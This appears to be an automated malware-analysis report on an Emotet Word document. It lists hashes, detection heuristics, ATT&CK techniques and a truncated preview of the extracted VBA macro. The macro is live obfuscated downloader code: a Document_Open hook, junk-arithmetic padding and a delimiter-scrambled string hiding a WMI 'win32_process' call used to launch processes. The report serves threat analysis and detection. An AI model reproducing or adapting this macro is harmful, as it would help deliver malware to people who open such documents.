Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 cbf75dba4c6b4f8c…

MALICIOUS

Office (OLE)

236.3 KB Created: 2020-09-03 21:29:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 35b55c873ecf86585dcc733d673eda15 SHA-1: ace12a4acd30f7d954aa7aadd1bc2df7a4d0b47c SHA-256: cbf75dba4c6b4f8cbcfb647112f9a0a4f8efb293526aea73ffebcd800379e08f
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with a signature indicating it's an Emotet downloader. The presence of VBA macros, specifically a Document_Open macro that uses CreateObject and p-code execution, strongly suggests it's designed to execute arbitrary code. The obfuscated VBA script likely attempts to download and run a secondary payload, a common Emotet tactic.

Heuristics 6

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13464 bytes
SHA-256: b6f537b711daf35e925659da5173dca6afdbe49ea5dfdb3b83db6e10764b9e4f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Lbp1q7_mfhvs8o87"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Call Q3ge9ro4a1e.Xu8zeh7oz_erx289hp
End Sub


Attribute VB_Name = "Q3ge9ro4a1e"
Attribute VB_Base = "0{3F74F0C1-30CC-4B77-B66E-EFF653D34A4C}{ECDF6213-1DEC-4868-BB24-DE64818A6A70}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Xu8zeh7oz_erx289hp()
   On Error Resume Next
Set HLklks = NJLLKsd
Vyzwel4vnup0q = jsjjswww + wiiwjdd * Ujkc5q9_1nol2 / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(U0bmlztadktdzkicz)
Cbgrl4wv2aa2pcv43j = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Rwfc1z4jkkab_ = Amgh4h3h5j2d
Q3jrra3xk2it11f = (jkbasd / M7r9jsoor43f_t13)
Il20aqvo7gy0qdj = CDate(qwiiwi)
Ujso3jck90q4s = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
Kakbk28q5g1tf = 105
   On Error Resume Next
Set HLklks = NJLLKsd
Vyzwel4vnup0q = jsjjswww + wiiwjdd * Ujkc5q9_1nol2 / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(U0bmlztadktdzkicz)
Cbgrl4wv2aa2pcv43j = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Rwfc1z4jkkab_ = Amgh4h3h5j2d
Q3jrra3xk2it11f = (jkbasd / M7r9jsoor43f_t13)
Il20aqvo7gy0qdj = CDate(qwiiwi)
Ujso3jck90q4s = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
Mb67kc1iddvrqwf = ChrW$(Kakbk28q5g1tf + (10))
   On Error Resume Next
Set HLklks = NJLLKsd
Vyzwel4vnup0q = jsjjswww + wiiwjdd * Ujkc5q9_1nol2 / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(U0bmlztadktdzkicz)
Cbgrl4wv2aa2pcv43j = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Rwfc1z4jkkab_ = Amgh4h3h5j2d
Q3jrra3xk2it11f = (jkbasd / M7r9jsoor43f_t13)
Il20aqvo7gy0qdj = CDate(qwiiwi)
Ujso3jck90q4s = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
O3a9q3lbghg_ = "26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]w26{} 328[]9 gv]bhja[]i26{} 328[]9 gv]bhja[]nm26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]gm26{} 328[]9 gv]bhja[]t26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]" + Mb67kc1iddvrqwf + "26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]:26{} 328[]9 gv]bhja[]w26{} 328[]9 gv]bhja[]in26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]326{} 328[]9 gv]bhja[]226{} 328[]9 gv]bhja[]_26{} 328[]9 gv]bhja[]" + Q3ge9ro4a1e.Lc87j1m4izlqu + "26{} 328[]9 gv]bhja[]ro26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]ce26{} 328[]9 gv]bhja[]s26{} 328[]9 gv]bhja[]s26{} 328[]9 gv]bhja[]"
   On Error Resume Next
Set HLklks = NJLLKsd
Vyzwel4vnup0q = jsjjswww + wiiwjdd * Ujkc5q9_1nol2 / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(U0bmlztadktdzkicz)
Cbgrl4wv2aa2pcv43j = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Rwfc1z4jkkab_ = Amgh4h3h5j2d
Q3jrra3xk2it11f = (jkbasd / M7r9jsoor43f_t13)
Il20aqvo7gy0qdj = CDate(qwiiwi)
Ujso3jck90q4s = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
Sfqfax0jbk8m = Pse78mq0zf5(O3a9q3lbghg_)
   On Error Resume Next
Set HLklks = NJLLKsd
Vyzwel4vnup0q = jsjjswww + wiiwjdd * Ujkc5q9_1nol2 / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(U0bmlztadktdzkicz)
Cbgrl4wv2aa2pcv43j = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Rwfc1z4jkkab_ = Amgh4h3h5j2d
Q3jrra3xk2it11f = (jkbasd / M7r9jsoor43f_t13)
Il20aqvo7gy0qdj = CDate(qwiiwi)
Ujso3jck90q4s = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
   On Error Resume Next
Set HLklks = NJLLKsd
Vyzwel4vnup0q = jsjjswww + wiiwjdd * Ujkc5q9_1nol2 / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(U0
... (truncated)

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